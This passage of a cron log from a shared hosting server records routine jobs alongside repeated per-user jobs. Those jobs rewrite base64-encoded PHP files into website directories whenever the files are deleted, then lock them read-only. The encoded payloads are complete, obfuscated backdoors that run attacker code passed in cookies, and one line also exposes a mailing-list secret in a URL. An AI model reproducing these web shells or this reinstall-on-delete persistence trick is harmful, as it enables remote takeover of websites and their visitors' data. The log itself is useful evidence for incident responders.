Mar  1 19:36:02 medusa CROND[9032]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:36:02 medusa CROND[9037]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:36:02 medusa CROND[9039]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:36:02 medusa CROND[9042]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:36:02 medusa CROND[9043]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:36:02 medusa CROND[9049]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:36:02 medusa CROND[9045]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:37:01 medusa CROND[14922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:37:02 medusa CROND[15077]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:37:02 medusa CROND[15117]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:37:02 medusa CROND[15118]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:37:02 medusa CROND[15119]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:37:02 medusa CROND[15120]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 19:37:02 medusa CROND[15121]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:37:02 medusa CROND[15125]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:37:02 medusa CROND[15124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:37:02 medusa CROND[15126]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:37:02 medusa CROND[15129]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:37:02 medusa CROND[15132]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 19:37:02 medusa CROND[15137]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:38:01 medusa CROND[18604]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:38:01 medusa CROND[18864]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:38:01 medusa CROND[18865]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 19:38:01 medusa CROND[18866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:38:01 medusa CROND[18867]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:38:01 medusa CROND[18868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:38:01 medusa CROND[18870]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:38:01 medusa CROND[18871]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:38:01 medusa CROND[18873]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:38:01 medusa CROND[18875]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 